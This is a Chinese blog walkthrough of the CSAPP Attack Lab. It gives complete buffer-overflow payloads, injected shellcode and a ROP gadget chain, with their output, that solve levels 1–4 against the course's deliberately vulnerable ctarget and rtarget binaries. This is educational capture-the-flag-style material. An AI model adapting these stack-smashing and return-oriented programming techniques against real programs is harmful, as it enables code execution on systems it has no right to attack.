CSAPP-Lab3:AttackLab

目录

1、实验文档注释

2、实验题目

2.1 Level 1

2.2 Level 2

2.3 Level 3

2.4 Level 4

2.5 Level 5

3、总结


1、实验文档注释

此文件夹包含攻击实验室的一个实例的材料。

ctarget:带有代码注入漏洞的Linux二进制文件。用于阶段作业的1-3。

rtarget:具有面向返回的编程漏洞的Linux二进制文件。是用于作业的第4-5阶段。

cookie.txt:包含此实验实例所需的4字节签名的文本文件。

farm.c:这个rtarget实例中提供的gadget farm的源代码。你可以编译(使用-Og标志)并反汇编它以查找gadget。

hex2raw:生成字节序列的实用程序。请参阅实验室文档讲义。

实验具体内容可以参考文档:http://csapp.cs.cmu.edu/3e/attacklab.pdf

2、实验题目

2.1 Level 1

你的任务是让 cartget getbuf 执行其返回语句时执行 touch1 的代码。而不是返回 test 。请注意,您的漏洞字符串也可能不直接破坏堆栈的部分与此阶段相关,但这不会导致问题,因为 touch1 会导致程序直接退出。

先给出一段代码 test 

void test(){
    int val;
    val = getbuf();
    printf("No exploit.  Getbuf returned 0x%x\n", val);    
}

touch1 的代码如下

void touch1(){
    vlevel = 1;    /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

ok,开始

gdb ctarget

disassemble test

   0x0000000000401968 <+0>:    	sub    $0x8,%rsp
   0x000000000040196c <+4>:    	mov    $0x0,%eax
   0x0000000000401971 <+9>:    	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq   

分配完栈帧就调用 getbuf

disassemble getbuf

   0x00000000004017a8 <+0>:	    sub    $0x28,%rsp
   0x00000000004017ac <+4>:	    mov    %rsp,%rdi
   0x00000000004017af <+7>:	    callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   

1、留了 0x28 也就是 40 个字节的栈帧

2、调用Gets

3、return

4、程序只预留了 40 个栈帧, 第 41 个是返回地址 、

5、所以我们只需要输入 41 个字节的数,并且最后一个为 touch1 的地址即可跳转到 touch1

disassemble touch1

   0x00000000004017c0 <+0>:	    sub    $0x8,%rsp
   0x00000000004017c4 <+4>:	    movl   $0x1,0x202d0e(%rip)       
   0x00000000004017ce <+14>:	mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:	callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:	mov    $0x1,%edi
   0x00000000004017dd <+29>:	callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:	mov    $0x0,%edi
   0x00000000004017e7 <+39>:	callq  0x400e40 <exit@plt>

1、touch1 的地址为 0x4017c0

创建一个 level1.txt ,内容前 40 个字节随意, 后面的值为 4017c0 即可,x86 小端存储,如下

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 

./hex2raw < level1.txt | ./ctarget -q

1、hex2raw 是一个可执行文件,它的作用是将标准输入中的十六进制编码转换成二进制数据并输出到标准输出中。

2、通过 < 将 level1.txt 中的数据作为标准输入输入到 ./hex2raw 中。

3、| 将 ./hex2raw 中的输出连接到后面,即作为 ./ctarget 的输入

4、-q 取消连接到 CMU 服务器

Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00 

攻击结束!

2.2 Level 2

您的任务是让 ctarget 执行 touch2 的代码,而不是返回到测试。然而,在这种情况下,您必须使它看起来像 touch2 一样,就好像您已经将 cookie 作为参数传递给它一样。

简化:调用 touch2,传递 cookie 值 到 rdi。先查看 touch2 地址

先给出一段代码 touch2

void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

disassemble touch2

   0x00000000004017ec <+0>:	sub    $0x8,%rsp

由于还需要输入一个参数,故无法像 level1 一样,直接改地址为 0x4017ec ,我们需要写一段自己的 .s 来实现这一系列操作。

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

1、先将 cookie 值存入 rdi

2、栈中压入 touch2 的地址

3、在 x86-64 汇编语言中,ret 指令用于将栈顶元素弹出并跳转到该地址执行,本例中,栈顶元素是 0x4017ec。即跳转到 touch2 执行

gcc -c level2.s                                   # 生成目标代码

objdump -d level2.o > level2.d        # 反汇编

cat level2.d

   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

为执行这一段代码,还是只能采用 level1的方式,注入到栈中,那么应该注入到什么位置呢?可以继续看看 getbuf ,rsp 赋值的时候打断点,看 rsp 的值是多少。

b *0x4017ac

r -q

p/x $rsp

$1 = 0x5561dc78

执行 getbuf,rsp 的地址为 0x5561dc78,我们将 level2.txt 写成如下形式

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

1、getbuf 在第一次运行结束后,读入了所有数据

2、由于被修改了 ret 的值为 5561dc78,在执行完第一次以后,又跳到了最前面执行 getbuf

3、但此时 getbuf 的机器码已经改变了,变成了我们想执行的内容

4、程序会继续执行 level.s 

检验结果

./hex2raw < level2.txt | ./ctarget -q

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

攻击结束!

2.3 Level 3

您的任务是让CTARGET执行touch3的代码,而不是返回到测试。你必须让它看起来像touch3,就好像你传递了cookie的字符串表示形式作为它的参数。

先给出两段代码

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

touch3 调用了一个函数,需要传递的是字符串。touch3 内部调用了 hexmatch

/* Compare string to hex represention of unsigned value */
/* 比较字符串和十六进制表示的无符号值 */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    /* 使止回阀串的位置不可预测 */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

注意第 7 行,s 的地址是随机的,提示中提到调用函数 hexmatch strncmp 时可能会覆盖 getbuf 使用的缓冲区的内存,因此可以考虑将数据存在 test

断点打到 test 中 调用 getbuf 的前一行

b *0x40196c

r -q

info r rsp

rsp            0x5561dca8          0x5561dca8

这一行的地址就是我们要存 cookie ascii 码的地方,其他步骤就和 level2 一样了,先写 .s

movq     $0x5561dca8, %rdi
pushq    $0x4018fa
ret

生成 .d 并查看

   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

此时可以写注入的 level3.txt,第 1 、2 行是想执行的命令,第 6 行是覆盖返回的地址,让程序执行被修改后的 getbuf ,第7行写到了 test 的范围内,即 0x5561dca8

48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

检验结果

./hex2raw < level3.txt | ./ctarget -q

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 

攻击结束!

2.4 Level 4

对于阶段4,您将重复阶段2的攻击,但是在程序RTARGET上使用来自您的小农场。您可以使用由以下指令类型组成的小工具来构建解决方案:并且只使用前8个x86-64寄存器(%rax - %rdi)。

由于有保护,不能像 level2 一样直接缓冲区溢出来攻击。文档中提到了一个 ROP 的方法,简单来说,找一种模块 gadget 对此处而言,我们要找到的 gadget 是 popq %rdi retq 顺序执行的地方。使 cookie 可以传递到函数中。

文档中有提到机器码 5f 即将数据弹出到 rdi ,而 retq 的机器码是 c3 。所以先 objdump -d rtarget > rtarget.s 

执行 grep '5f c3' rtarget.s,查找可以执行 popq %rdi retq 的地方

  401419:	69 c0 5f c3 00 00    	imul   $0xc35f,%eax,%eax

注意,若没找到,可查找 rax 作为过渡来解决

所以要跳转的位置是 40141b,此时可以写出要注入的 txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1b 14 40 00 00 00 00 00     # pop %rdi     retq
fa 97 b9 59 00 00 00 00     # cookie 注意此行在pop %rdi前已赋值
ec 17 40 00 00 00 00 00     # touch2

检验结果

./hex2raw < level4.txt | ./rtarget -q
 

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1B 14 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00 

攻击结束!

2.5 Level 5

Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3, you caused a program to execute machine code of your own design. If CTARGET had been a network server, you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own code, you were able inject a type of program that operates by stitching together sequences of existing code. You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations consider stopping right now.

Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so. Moreover, Phase 5 counts for only 5 points, which is not a true measure of the effort it will require. Think of it as more an extra credit problem for those who want to go beyond the normal expectations for the course.

劝退!告辞。CSAPP过完再来补!

3、总结

懵懵懂懂,请多指教!

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值